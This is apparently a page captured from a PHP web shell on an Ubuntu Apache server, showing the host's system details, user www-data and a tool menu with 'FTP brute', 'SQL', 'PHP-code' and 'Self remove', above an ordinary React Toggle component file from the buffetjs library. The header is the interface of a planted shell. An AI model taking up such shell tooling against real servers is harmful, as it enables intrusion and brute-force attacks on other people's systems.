Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/@buffetjs/core/build/esm/components/Toggle/   drwxr-xr-x
Free 13.13 GB of 57.97 GB (22.65%)
                            Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    

Viewing file:     index.js (1.99 KB)      -rw-r--r--

/**
 *
 * Toggle
 *
 */
import React, { useCallback } from 'react';
import PropTypes from 'prop-types';
import { Toggle as StyledToggle, ToggleWrapper } from '@buffetjs/styles';
import Label from '../Label';

function Toggle(_ref) {
  var disabled = _ref.disabled,
      id = _ref.id,
      className = _ref.className,
      name = _ref.name,
      onChange = _ref.onChange,
      value = _ref.value,
      leftLabel = _ref.leftLabel,
      rightLabel = _ref.rightLabel;
  var isIndeterminate = value === null;
  var handleRef = useCallback(function (element) {
    if (element) {
      element.indeterminate = isIndeterminate; // eslint-disable-line no-param-reassign
    }
  }, [isIndeterminate]);

  var handleChange = function handleChange(e) {
    var targetValue = e.target.checked; // Handle click when the state is inteterminate

    if (isIndeterminate) {
      // Select the right value depending on the mouse position
      targetValue = e.nativeEvent.offsetX >= e.target.offsetWidth / 2;
    }

    onChange({
      target: {
        name: name,
        value: targetValue
      }
    });
  };

  return /*#__PURE__*/React.createElement(ToggleWrapper, {
    className: className
  }, /*#__PURE__*/React.createElement(Label, {
    htmlFor: id || name
  }, /*#__PURE__*/React.createElement(StyledToggle, {
    disabled: disabled,
    checked: value || false,
    id: id || name,
    name: id || name,
    onChange: handleChange,
    ref: handleRef
  }), /*#__PURE__*/React.createElement("span", null, leftLabel), /*#__PURE__*/React.createElement("span", null, rightLabel)));
}

Toggle.defaultProps = {
  className: null,
  disabled: false,
  id: null,
  leftLabel: 'OFF',
  onChange: function onChange() {},
  rightLabel: 'ON',
  value: false
};
Toggle.propTypes = {
  className: PropTypes.string,
  disabled: PropTypes.bool,
  id: PropTypes.string,
  leftLabel: PropTypes.string,
  name: PropTypes.string.isRequired,
  onChange: PropTypes.func,
  rightLabel: PropTypes.string,
  value: PropTypes.bool
};
export default Toggle;